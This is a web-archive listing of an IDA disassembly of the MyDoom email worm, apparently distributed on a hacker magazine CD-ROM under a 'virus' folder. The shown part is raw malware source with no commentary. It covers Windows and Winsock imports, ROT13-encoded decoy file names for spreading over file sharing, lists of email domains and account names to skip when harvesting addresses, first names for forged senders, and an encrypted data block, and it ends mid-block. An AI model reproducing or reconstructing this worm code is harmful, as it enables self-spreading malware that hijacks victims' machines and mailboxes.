home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / virus / better / mydoom.asm
Encoding:
Assembly Source File  |  2004-02-05  |  264.0 KB  |  10,807 lines
  1. ; [0000013E BYTES. COLLAPSED STRUCT _WIN32_FIND_DATAA. PRESS KEYPAD "+"    TO EXPAND]
  2. ; [00000010 BYTES. COLLAPSED STRUCT SYSTEMTIME.    PRESS KEYPAD "+" TO EXPAND]
  3. ; [000000AC BYTES. COLLAPSED STRUCT _TIME_ZONE_INFORMATION. PRESS KEYPAD "+" TO    EXPAND]
  4. ; [00000008 BYTES. COLLAPSED STRUCT FILETIME. PRESS KEYPAD "+" TO EXPAND]
  5. ; [00000010 BYTES. COLLAPSED STRUCT _SYSTEMTIME. PRESS KEYPAD "+" TO EXPAND]
  6. ; [00000010 BYTES. COLLAPSED STRUCT _PROCESS_INFORMATION. PRESS    KEYPAD "+" TO EXPAND]
  7. ; [00000044 BYTES. COLLAPSED STRUCT _STARTUPINFOA. PRESS KEYPAD    "+" TO EXPAND]
  8. ; [00000008 BYTES. COLLAPSED STRUCT _FILETIME. PRESS KEYPAD "+"    TO EXPAND]
  9.  
  10. ;
  11. ; ╔═════════════════════════════════════════════════════════════════════════╗
  12. ; ║    This file is generated by The Interactive Disassembler (IDA)        ║
  13. ; ║    Copyright (c) 2002 by DataRescue sa/nv,    <ida@datarescue.com>        ║
  14. ; ║         Licensed to: Thomas Wright, DVDMods, 1 user, special        ║
  15. ; ╚═════════════════════════════════════════════════════════════════════════╝
  16. ;
  17. ; File Name   :    C:\Documents and Settings\Damien Good\My Documents\mydoom.bin
  18. ; Format      :    Portable executable for    IBM PC (PE)
  19. ; Section 1. (virtual address 00001000)
  20. ; Virtual size            : 00007B00 (  31488.)
  21. ; Section size in file        : 00007C00 (  31744.)
  22. ; Offset to raw    data for section: 00000200
  23. ; Flags    E0040020: Text Executable Readable Writable
  24. ; Alignment    : 16 bytes ?
  25. ; 
  26. ; Imports from ADVAPI32.dll
  27. ; 
  28.  
  29.  
  30. unicode        macro page,string,zero
  31.         irpc c,<string>
  32.         db '&c', page
  33.         endm
  34.         ifnb <zero>
  35.         dw zero
  36.         endif
  37. endm
  38.  
  39.         model flat
  40.  
  41. ; ═══════════════════════════════════════════════════════════════════════════
  42.  
  43. ; Segment type:    Externs
  44. ; _idata
  45.         extrn RegCloseKey:dword    ; DATA XREF: sub_4A3AA3+8Dr
  46.                     ; sub_4A3AA3+A7r ...
  47. ; LONG __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR    lpSubKey,DWORD ulOptions,REGSAM    samDesired,PHKEY phkResult)
  48.         extrn RegOpenKeyExA:dword ; DATA XREF: sub_4A3AA3+45r
  49.                     ; sub_4A3CD7+29r ...
  50. ; LONG __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
  51.         extrn RegSetValueExA:dword ; DATA XREF:    sub_4A3CD7+81r
  52. ; LONG __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE    lpData,LPDWORD lpcbData)
  53.         extrn RegQueryValueExA:dword ; DATA XREF: sub_4A46F7+80r
  54.                     ; sub_4A60A5+66r ...
  55. ; LONG __stdcall RegEnumKeyA(HKEY hKey,DWORD dwIndex,LPSTR lpName,DWORD    cbName)
  56.         extrn RegEnumKeyA:dword    ; DATA XREF: sub_4A7DFD+5Ar
  57. ; LONG __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR    lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES    lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
  58.         extrn RegCreateKeyExA:dword ; DATA XREF: sub_4A3AA3+80r
  59.  
  60. ; 
  61. ; Imports from KERNEL32.DLL
  62. ; 
  63. ; HANDLE __stdcall CreateFileMappingA(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCSTR lpName)
  64.         extrn CreateFileMappingA:dword ; DATA XREF: sub_4A5F97+50r
  65. ; BOOL __stdcall FindNextFileA(HANDLE hFindFile,LPWIN32_FIND_DATAA lpFindFileData)
  66.         extrn FindNextFileA:dword ; DATA XREF: sub_4A630C+D1r
  67. ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
  68.         extrn FindFirstFileA:dword ; DATA XREF:    sub_4A630C+B2r
  69. ; DWORD    __stdcall GetEnvironmentVariableA(LPCSTR lpName,LPSTR lpBuffer,DWORD nSize)
  70.         extrn GetEnvironmentVariableA:dword ; DATA XREF: sub_4A64A8+6Fr
  71. ; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer,UINT uSize)
  72.         extrn GetWindowsDirectoryA:dword ; DATA    XREF: sub_4A64A8+62r
  73. ; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName)
  74.         extrn GetDriveTypeA:dword ; DATA XREF: sub_4A6599+6Er
  75. ; DWORD    __stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
  76.         extrn GetFileSize:dword    ; DATA XREF: sub_4A5F97+40r
  77.                     ; sub_4A6864+D1r ...
  78. ; BOOL __stdcall FindClose(HANDLE hFindFile)
  79.         extrn FindClose:dword    ; DATA XREF: sub_4A630C+18Er
  80. ; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime,LPSYSTEMTIME lpSystemTime)
  81.         extrn FileTimeToSystemTime:dword ; DATA    XREF: sub_4A40B3+B7r
  82. ; HGLOBAL __stdcall GlobalAlloc(UINT uFlags,DWORD dwBytes)
  83.         extrn GlobalAlloc:dword    ; DATA XREF: sub_4A76D2+99r
  84. ; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
  85.         extrn GetTempFileNameA:dword ; DATA XREF: sub_4A6FCD+A1r
  86. ; DWORD    __stdcall SetFilePointer(HANDLE    hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod)
  87.         extrn SetFilePointer:dword ; DATA XREF:    sub_4A67F0+14r
  88.                     ; sub_4A67F0+66r ...
  89. ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
  90.         extrn GetSystemTime:dword ; DATA XREF: sub_4A676D+Ar
  91. ; HANDLE GetCurrentThread(void)
  92.         extrn GetCurrentThread:dword ; DATA XREF: sub_4A6645+7r
  93.                     ; sub_4A6BB4+20r
  94. ; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID    lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
  95.         extrn WriteFile:dword    ; DATA XREF: sub_4A38E0+18r
  96.                     ; sub_4A38E0+38r ...
  97. ; HMODULE __stdcall LoadLibraryA(LPCSTR    lpLibFileName)
  98.         extrn LoadLibraryA:dword ; DATA    XREF: sub_4A3962+12Cr
  99.                     ; sub_4A4681+30r ...
  100. ; LPSTR    __stdcall lstrcpyA(LPSTR lpString1,LPCSTR lpString2)
  101.         extrn lstrcpyA:dword    ; DATA XREF: sub_4A3962+119r
  102.                     ; sub_4A3B88+34r ...
  103. ; BOOL __stdcall CloseHandle(HANDLE hObject)
  104.         extrn CloseHandle:dword    ; DATA XREF: sub_4A3962+F2r
  105.                     ; sub_4A3B88+F1r ...
  106. ; DWORD    __stdcall GetFileAttributesA(LPCSTR lpFileName)
  107.         extrn GetFileAttributesA:dword ; DATA XREF: sub_4A3962+C2r
  108.                     ; sub_4A3B88+124r
  109. ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
  110.         extrn CreateFileA:dword    ; DATA XREF: sub_4A3962+AAr
  111.                     ; sub_4A3B88+E1r ...
  112. ; int __stdcall    lstrlenA(LPCSTR    lpString)
  113.         extrn lstrlenA:dword    ; DATA XREF: sub_4A3962+65r
  114.                     ; sub_4A3B88+8Dr ...
  115. ; DWORD    __stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
  116.         extrn GetTempPathA:dword ; DATA    XREF: sub_4A3962+4Fr
  117.                     ; sub_4A3B88+74r ...
  118. ; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
  119.         extrn GetSystemDirectoryA:dword    ; DATA XREF: sub_4A3962+41r
  120.                     ; sub_4A3B88+66r ...
  121. ; LPSTR    __stdcall lstrcatA(LPSTR lpString1,LPCSTR lpString2)
  122.         extrn lstrcatA:dword    ; DATA XREF: sub_4A3962+1Dr
  123.                     ; sub_4A3962+84r ...
  124. ; DWORD    GetLastError(void)
  125.         extrn GetLastError:dword ; DATA    XREF: sub_4A3B52+24r
  126. ; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
  127.         extrn CreateMutexA:dword ; DATA    XREF: sub_4A3B52+1Er
  128. ; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
  129.         extrn CopyFileA:dword    ; DATA XREF: sub_4A3B88+113r
  130.                     ; sub_4A46F7+1B4r
  131. ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
  132.         extrn DeleteFileA:dword    ; DATA XREF: sub_4A3B88+FEr
  133.                     ; StartAddress+1ACr ...
  134. ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
  135.         extrn SetFileAttributesA:dword ; DATA XREF: sub_4A3B88+C4r
  136. ; DWORD    __stdcall GetModuleFileNameA(HMODULE hModule,LPSTR lpFilename,DWORD nSize)
  137.         extrn GetModuleFileNameA:dword ; DATA XREF: sub_4A3B88+2Br
  138.                     ; sub_4A48B6+17r ...
  139. ; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime,LPFILETIME    lpFileTime)
  140.         extrn SystemTimeToFileTime:dword ; DATA    XREF: sub_4A3D6E+1Dr
  141.                     ; sub_4A3DB0+1Dr
  142. ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
  143.         extrn GetSystemTimeAsFileTime:dword ; DATA XREF: sub_4A3D6E+Ar
  144.                     ; sub_4A3DB0+Ar
  145. ; void __stdcall Sleep(DWORD dwMilliseconds)
  146.         extrn Sleep:dword    ; DATA XREF: sub_4A3DB0+3Dr main+93r ...
  147. ; void __stdcall ExitThread(DWORD dwExitCode)
  148.         extrn ExitThread:dword    ; DATA XREF: StartAddress+1B3r
  149.                     ; .text:004A5B22r ...
  150. ; DWORD    __stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
  151.         extrn WaitForSingleObject:dword    ; DATA XREF: StartAddress+192r
  152. ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
  153.         extrn CreateProcessA:dword ; DATA XREF:    StartAddress+183r
  154. ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID    lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
  155.         extrn CreateThread:dword ; DATA    XREF: main+19r    main+42r ...
  156. ; DWORD    GetTickCount(void)
  157.         extrn GetTickCount:dword ; DATA    XREF: main+7r sub_4A4215r ...
  158. ; void __stdcall ExitProcess(UINT uExitCode)
  159.         extrn ExitProcess:dword    ; DATA XREF: start+5Br
  160. ; DWORD    __stdcall GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation)
  161.         extrn GetTimeZoneInformation:dword ; DATA XREF:    sub_4A40B3+CAr
  162. ; LPVOID __stdcall MapViewOfFile(HANDLE    hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,DWORD dwNumberOfBytesToMap)
  163.         extrn MapViewOfFile:dword ; DATA XREF: sub_4A5F97+71r
  164. ; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME    *lpFileTime,LPFILETIME lpLocalFileTime)
  165.         extrn FileTimeToLocalFileTime:dword ; DATA XREF: sub_4A40B3+A9r
  166. ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
  167.         extrn GetLocalTime:dword ; DATA    XREF: sub_4A40B3+9Ar
  168. ; int __stdcall    WideCharToMultiByte(UINT CodePage,DWORD    dwFlags,LPCWSTR    lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cchMultiByte,LPCSTR lpDefaultChar,LPBOOL    lpUsedDefaultChar)
  169.         extrn WideCharToMultiByte:dword    ; DATA XREF: sub_4A4321+BAr
  170. ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
  171.         extrn GetProcAddress:dword ; DATA XREF:    sub_4A4681+56r
  172.                     ; sub_4A4EFE+39r ...
  173. ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
  174.         extrn GetModuleHandleA:dword ; DATA XREF: sub_4A4681+1Br
  175.                     ; sub_4A4EFE+19r ...
  176. ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
  177.         extrn HeapFree:dword    ; DATA XREF: sub_4A4ADF+11r
  178.                     ; sub_4A4C45+1EFr ...
  179. ; HANDLE GetProcessHeap(void)
  180.         extrn GetProcessHeap:dword ; DATA XREF:    sub_4A4ADF+Ar
  181.                     ; sub_4A4AFE+E6r ...
  182. ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD    dwFlags,DWORD dwBytes)
  183.         extrn HeapAlloc:dword    ; DATA XREF: sub_4A4AFE+EDr
  184.                     ; sub_4A4C45+24r ...
  185. ; LPSTR    __stdcall lstrcpynA(LPSTR lpString1,LPCSTR lpString2,int iMaxLength)
  186.         extrn lstrcpynA:dword    ; DATA XREF: sub_4A4EFE+A7r
  187.                     ; sub_4A586A+6Dr ...
  188. ; int __stdcall    lstrcmpA(LPCSTR    lpString1,LPCSTR lpString2)
  189.         extrn lstrcmpA:dword    ; DATA XREF: sub_4A55D4+60r
  190.                     ; sub_4A6147+77r ...
  191. ; int __stdcall    lstrcmpiA(LPCSTR lpString1,LPCSTR lpString2)
  192.         extrn lstrcmpiA:dword    ; DATA XREF: sub_4A5788+4Ar
  193.                     ; sub_4A5934+11r ...
  194. ; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
  195.         extrn GlobalFree:dword    ; DATA XREF: sub_4A5A7C+5Ar
  196.                     ; sub_4A76D2+E1r
  197. ; LONG __stdcall InterlockedDecrement(LPLONG lpAddend)
  198.         extrn InterlockedDecrement:dword ; DATA    XREF: .text:004A5B1Ar
  199. ; LONG __stdcall InterlockedIncrement(LPLONG lpAddend)
  200.         extrn InterlockedIncrement:dword ; DATA    XREF: .text:004A5AF3r
  201. ; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
  202.         extrn ReadFile:dword    ; DATA XREF: sub_4A5EC8+3Er
  203.                     ; sub_4A67F0+1Ar ...
  204. ; BOOL __stdcall UnmapViewOfFile(LPCVOID lpBaseAddress)
  205.         extrn UnmapViewOfFile:dword ; DATA XREF: sub_4A5F97+E2r
  206. ; BOOL __stdcall SetThreadPriority(HANDLE hThread,int nPriority)
  207.         extrn SetThreadPriority:dword ;    DATA XREF: sub_4A6645+Er
  208.                     ; sub_4A6BB4+27r
  209.  
  210. ; 
  211. ; Imports from MSVCRT.dll
  212. ; 
  213.         extrn __imp_memset:dword ; DATA    XREF: memsetr
  214.         extrn tolower:dword    ; DATA XREF: sub_4A42A7+Dr
  215.                     ; sub_4A42A7+23r ...
  216.         extrn __imp_memcpy:dword ; DATA    XREF: memcpyr
  217.         extrn isdigit:dword    ; DATA XREF: sub_4A4321+3Ar
  218.         extrn toupper:dword    ; DATA XREF: sub_4A4489+44r
  219.                     ; sub_4A4489+65r
  220.         extrn isxdigit:dword    ; DATA XREF: sub_4A4489+29r
  221.                     ; sub_4A4489+33r ...
  222.         extrn isalnum:dword    ; DATA XREF: sub_4A5108+3Br
  223.                     ; sub_4A5108+8Cr ...
  224.         extrn isspace:dword    ; DATA XREF: sub_4A5108+2Br
  225.                     ; sub_4A5108+ECr ...
  226.  
  227. ; 
  228. ; Imports from USER32.dll
  229. ; 
  230. ; DWORD    __stdcall CharUpperBuffA(LPSTR lpsz,DWORD cchLength)
  231.         extrn CharUpperBuffA:dword ; DATA XREF:    sub_4A6ED6+DAr
  232. ; LPSTR    __stdcall CharUpperA(LPSTR lpsz)
  233.         extrn CharUpperA:dword    ; DATA XREF: sub_4A6ED6+EEr
  234. ; LPSTR    __stdcall CharLowerA(LPSTR lpsz)
  235.         extrn CharLowerA:dword    ; DATA XREF: sub_4A6147+51r
  236.                     ; sub_4A78AC+EBr
  237. ; int __stdcall    wvsprintfA(LPSTR,LPCSTR,va_list    arglist)
  238.         extrn wvsprintfA:dword    ; DATA XREF: sub_4A45C4+18r
  239.                     ; sub_4A7AAA+1Dr
  240.         extrn wsprintfA:dword    ; DATA XREF: StartAddress+147r
  241.                     ; sub_4A40B3+156r ...
  242.  
  243. ; 
  244. ; Imports from WS2_32.dll
  245. ; 
  246.         extrn WS2_32_19:dword    ; DATA XREF: sub_4A6BB4+6Dr
  247.                     ; sub_4A7AAA+3Dr ...
  248.         extrn WS2_32_10:dword    ; DATA XREF: sub_4A6A9F+4Cr
  249.                     ; sub_4A6A9F+FDr
  250.         extrn WS2_32_4:dword    ; DATA XREF: sub_4A6A9F+52r
  251.                     ; sub_4A7B47+A5r
  252.         extrn WS2_32_111:dword    ; DATA XREF: sub_4A6A9F+5Ar
  253.         extrn __imp_WS2_32_151:dword ; DATA XREF: WS2_32_151r
  254.         extrn WS2_32_11:dword    ; DATA XREF: .text:004A506Cr
  255.                     ; sub_4A7877+2r
  256.         extrn WS2_32_52:dword    ; DATA XREF: .text:004A507Fr
  257.                     ; sub_4A6C3B+3Fr ...
  258.         extrn WS2_32_23:dword    ; DATA XREF: sub_4A4C45+3Er
  259.                     ; sub_4A6A9F+14r ...
  260.         extrn WS2_32_18:dword    ; DATA XREF: sub_4A4C45+C3r
  261.                     ; sub_4A6A9F+BBr ...
  262.         extrn WS2_32_16:dword    ; DATA XREF: sub_4A4C45+E5r
  263.                     ; sub_4A77D9+6Br
  264.         extrn WS2_32_3:dword    ; DATA XREF: sub_4A4C45+25Fr
  265.                     ; sub_4A6A9F+108r ...
  266.         extrn WS2_32_15:dword    ; DATA XREF: sub_4A49F3+10r
  267.                     ; sub_4A49F3+17r ...
  268.         extrn WS2_32_9:dword    ; DATA XREF: sub_4A48E2+40r
  269.                     ; sub_4A48E2+BEr ...
  270.         extrn WS2_32_20:dword    ; DATA XREF: sub_4A48E2+FDr
  271.         extrn WS2_32_115:dword    ; DATA XREF: start+19r
  272.  
  273.  
  274. ; ═══════════════════════════════════════════════════════════════════════════
  275.  
  276. ; Segment type:    Pure code
  277. _text        segment    para public 'CODE' use32
  278.         assume cs:_text
  279.         ;org 4A1184h
  280.         assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
  281.         align 10h
  282. dword_4A1190    dd 4A2650h        ; DATA XREF: sub_4A46F7+105r
  283.         dd offset aVpd2004Svany    ; "vpd2004-svany"
  284.         dd offset aNpgvingvba_pen ; "npgvingvba_penpx"
  285.         dd offset aFgevcTvey2_0oq ; "fgevc-tvey-2.0oqpbz_cngpurf"
  286.         dd offset aEbbgxvgkc    ; "ebbgxvgKC"
  287.         dd offset aBssvpr_penpx    ; "bssvpr_penpx"
  288.         dd offset aAhxr2004    ; "ahxr2004"
  289.         align 8
  290. dword_4A11B0    dd 4A2AC8h        ; DATA XREF: sub_4A551A+7Er
  291.                     ; sub_4A551A+86o
  292.         dd offset aSyma        ; "syma"
  293.         dd offset aIcrosof    ; "icrosof"
  294.         dd offset aMsn_        ; "msn."
  295.         dd offset aHotmail    ; "hotmail"
  296.         dd offset aPanda    ; "panda"
  297.         dd offset aSopho    ; "sopho"
  298.         dd offset aBorlan    ; "borlan"
  299.         dd offset aInpris    ; "inpris"
  300.         dd offset aExample    ; "example"
  301.         dd offset aMydomai    ; "mydomai"
  302.         dd offset aNodomai    ; "nodomai"
  303.         dd offset aRuslis    ; "ruslis"
  304.         dd offset a_gov        ; ".gov"
  305.         dd offset aGov_        ; "gov."
  306.         dd offset a_mil        ; ".mil"
  307.         dd offset aFoo_        ; "foo."
  308.         align 8
  309.         dd offset asc_4A2A44    ; "\n\n\n"
  310.         align 8
  311. dword_4A1200    dd 4A2A38h        ; DATA XREF: sub_4A551A+4Ar
  312.                     ; sub_4A551A+5Ao
  313.         dd offset aUnix        ; "unix"
  314.         dd offset aMath        ; "math"
  315.         dd offset aBsd        ; "bsd"
  316.         dd offset aMit_e    ; "mit.e"
  317.         dd offset aGnu        ; "gnu"
  318.         dd offset aFsf_        ; "fsf."
  319.         dd offset aIbm_com    ; "ibm.com"
  320.         dd offset aGoogle    ; "google"
  321.         dd offset aKernel    ; "kernel"
  322.         dd offset aLinux    ; "linux"
  323.         dd offset aFido        ; "fido"
  324.         dd offset aUsenet    ; "usenet"
  325.         dd offset aIana        ; "iana"
  326.         dd offset aIetf        ; "ietf"
  327.         dd offset aRfcEd    ; "rfc-ed"
  328.         dd offset aSendmail    ; "sendmail"
  329.         dd offset aArin_    ; "arin."
  330.         dd offset aRipe_    ; "ripe."
  331.         dd offset aIsi_e    ; "isi.e"
  332.         dd offset aIsc_o    ; "isc.o"
  333.         dd offset aSecur    ; "secur"
  334.         dd offset aAcketst    ; "acketst"
  335.         dd offset aPgp        ; "pgp"
  336.         dd offset aTanford_e    ; "tanford.e"
  337.         dd offset aUtgers_ed    ; "utgers.ed"
  338.         dd offset aMozilla    ; "mozilla"
  339.         align 8
  340.         dd offset aBe_loyal    ; "\n\nbe_loyal:"
  341.         align 8
  342. dword_4A1278    dd 4A2954h        ; DATA XREF: sub_4A55D4+48r
  343.                     ; sub_4A55D4+50o
  344.         dd offset aInfo        ; "info"
  345.         dd offset aSamples    ; "samples"
  346.         dd offset aPostmaster    ; "postmaster"
  347.         dd offset aWebmaster    ; "webmaster"
  348.         dd offset aNoone    ; "noone"
  349.         dd offset aNobody    ; "nobody"
  350.         dd offset aNothing    ; "nothing"
  351.         dd offset aAnyone    ; "anyone"
  352.         dd offset aSomeone    ; "someone"
  353.         dd offset aYour        ; "your"
  354.         dd offset aYou        ; "you"
  355.         dd offset aMe        ; "me"
  356.         dd offset aBugs        ; "bugs"
  357.         dd offset aRating    ; "rating"
  358.         dd offset aSite        ; "site"
  359.         dd offset aContact    ; "contact"
  360.         dd offset aSoft        ; "soft"
  361.         dd offset aNo        ; "no"
  362.         dd offset aSomebody    ; "somebody"
  363.         dd offset aPrivacy    ; "privacy"
  364.         dd offset aService    ; "service"
  365.         dd offset aHelp        ; "help"
  366.         dd offset aNot        ; "not"
  367.         dd offset aSubmit    ; "submit"
  368.         dd offset aFeste    ; "feste"
  369.         dd offset aCa        ; "ca"
  370.         dd offset aGoldCerts    ; "gold-certs"
  371.         dd offset aThe_bat    ; "the.bat"
  372.         dd offset aPage        ; "page"
  373.         dd 0
  374. dword_4A12F4    dd 4A2868h        ; DATA XREF: sub_4A55D4+10Cr
  375.                     ; sub_4A55D4+114o
  376.         dd offset aIcrosoft    ; "icrosoft"
  377.         dd offset aSupport    ; "support"
  378.         dd offset aNtivi    ; "ntivi"
  379.         dd offset aUnix        ; "unix"
  380.         dd offset aBsd        ; "bsd"
  381.         dd offset aLinux    ; "linux"
  382.         dd offset aListserv    ; "listserv"
  383.         dd offset aCertific    ; "certific"
  384.         dd offset aGoogle    ; "google"
  385.         dd offset aAccoun    ; "accoun"
  386.         dd 2 dup(0)
  387. ; LPCSTR lpString2
  388. lpString2    dd offset aJohn        ; DATA XREF: sub_4A586A+88r
  389.                     ; "john"
  390.         dd offset aJohn        ; "john"
  391.         dd offset aAlex        ; "alex"
  392.         dd offset aMichael    ; "michael"
  393.         dd offset aJames    ; "james"
  394.         dd offset aMike        ; "mike"
  395.         dd offset aKevin    ; "kevin"
  396.         dd offset aDavid    ; "david"
  397.         dd offset aGeorge    ; "george"
  398.         dd offset aSam        ; "sam"
  399.         dd offset aAndrew    ; "andrew"
  400.         dd offset aJose        ; "jose"
  401.         dd offset aLeo        ; "leo"
  402.         dd offset aMaria    ; "maria"
  403.         dd offset aJim        ; "jim"
  404.         dd offset aBrian    ; "brian"
  405.         dd offset aSerg        ; "serg"
  406.         dd offset aMary        ; "mary"
  407.         dd offset aRay        ; "ray"
  408.         dd offset aTom        ; "tom"
  409.         dd offset aPeter    ; "peter"
  410.         dd offset aRobert    ; "robert"
  411.         dd offset aBob        ; "bob"
  412.         dd offset aJane        ; "jane"
  413.         dd offset aJoe        ; "joe"
  414.         dd offset aDan        ; "dan"
  415.         dd offset aDave        ; "dave"
  416.         dd offset aMatt        ; "matt"
  417.         dd offset aSteve    ; "steve"
  418.         dd offset aSmith    ; "smith"
  419.         dd offset aStan        ; "stan"
  420.         dd offset aBill        ; "bill"
  421.         dd offset aBob        ; "bob"
  422.         dd offset aJack        ; "jack"
  423.         dd offset aFred        ; "fred"
  424.         dd offset aTed        ; "ted"
  425.         dd offset aAdam        ; "adam"
  426.         dd offset aBrent    ; "brent"
  427.         dd offset aAlice    ; "alice"
  428.         dd offset aAnna        ; "anna"
  429.         dd offset aBrenda    ; "brenda"
  430.         dd offset aClaudia    ; "claudia"
  431.         dd offset aDebby    ; "debby"
  432.         dd offset aHelen    ; "helen"
  433.         dd offset aJerry    ; "jerry"
  434.         dd offset aJimmy    ; "jimmy"
  435.         dd offset aJulie    ; "julie"
  436.         dd offset aLinda    ; "linda"
  437.         dd offset aSandra    ; "sandra"
  438. dword_4A13EC    dd 4A3454h        ; DATA XREF: sub_4A6CDE+AEr
  439.         dd offset aZfa_pbz    ; "zfa.pbz"
  440.         dd offset aLnubb_pbz    ; "lnubb.pbz"
  441.         dd offset aUbgznvy_pbz    ; "ubgznvy.pbz"
  442.         align 8
  443. dword_4A1400    dd 0D05A9D8Ah, 6F4E5DAh, 6C4E331Fh, 2D84E72h, 0C8925F97h
  444.                     ; DATA XREF: sub_4A3962+E4o
  445.         dd 0BE7C3D01h, 0E4964B43h, 3AE08935h, 0C05AF797h, 76049529h
  446.         dd 5CDE63EBh, 72E861DDh, 0B8228FFFh, 2E8CED51h,    0D4267BD3h
  447.         dd 0AAF0390Dh, 0B0EA2767h, 0E6144579h, 4C6E93BBh, 0E2F8112Dh
  448.         dd 0A8B2BFCFh, 9E9C9DA1h, 0C4B6ABA3h, 1A00E9D5h, 0A07A5737h
  449.         dd 5624F5C9h, 3CFEC38Bh, 5208C17Dh, 9842EF9Fh, 0EAC4DF1h
  450.         dd 0B446DB73h, 8A109925h, 900A8707h, 0A8A5A519h, 0D2C3F2FEh
  451.         dd 2C12F8A8h, 0B68F6B4Ah, 703D0DE0h, 5A1BDFA6h,    5527E17Ch
  452.         dd 0BE6012C9h, 38D56518h, 0E273179Eh, 0BC418954h, 0C63FE39Ah
  453.         dd 6D8D50h, 6ACB4F96h, 7A43B10Ch, 0CE1773B2h, 0C8054788h
  454.         dd 0F223578Ah, 4C7199C4h, 0D6EF0B2Eh, 909DADC0h, 7A7B0F86h
  455.         dd 9489917Ch, 0DEC7B3A2h, 583515FAh, 2C3A77Eh, 0DCA17934h
  456.         dd 0E68F5B1Ah, 20CD6D30h, 8A2BCF76h, 24B951FCh,    0EE770392h
  457.         dd 0E865E568h, 8383976Eh, 0A1958C76h, 0EFD7C2B0h, 6D49280Ah
  458.         dd 1BEBBE94h, 0F9BD844Eh, 7BF7A38h, 45F1A052h, 0B353966Ch
  459.         dd 51E57C1Ah, 1FA732C0h, 1D99189Ah, 4BBB2EA4h, 0A90D74DEh
  460.         dd 378FEA48h, 0F54190E2h, 0E32366ACh, 1356CA6h,    4F77A2D0h
  461.         dd 0CDE9082Ah, 7B8B9EB4h, 595D646Eh, 675F5A58h,    0A5918072h
  462.         dd 13F3D6BCh, 0B1855C36h, 7F4712E0h, 7D39F8BAh,    0AB5B0EC4h
  463.         dd 9AD54FEh, 0A7779A3Dh, 55E17002h, 43C306CCh, 61D55CC6h
  464.         dd 736A6461h, 0B5A08C7Fh, 2706E8CDh, 0C99C724Bh, 9B622CF9h
  465.         dd 7D581657h, 0FE2660B0h, 31D47A23h, 0C35AE491h, 8510CE2Fh
  466.         dd 77F674FDh, 990C80FBh, 0EB52BC29h, 6DC82687h,    1F6EC015h
  467.         dd 0E1448A93h, 2112D494h, 5580AEDFh, 0C7E6182Dh, 697CF2ABh
  468.         dd 3B424E59h, 3D383837h, 6F5E5045h, 0D1B49A83h,    633A14F1h
  469.         dd 0E5F0BECFh, 23E4B66Ch, 61BCF75Bh, 893BD0A8h,    633C73EEh
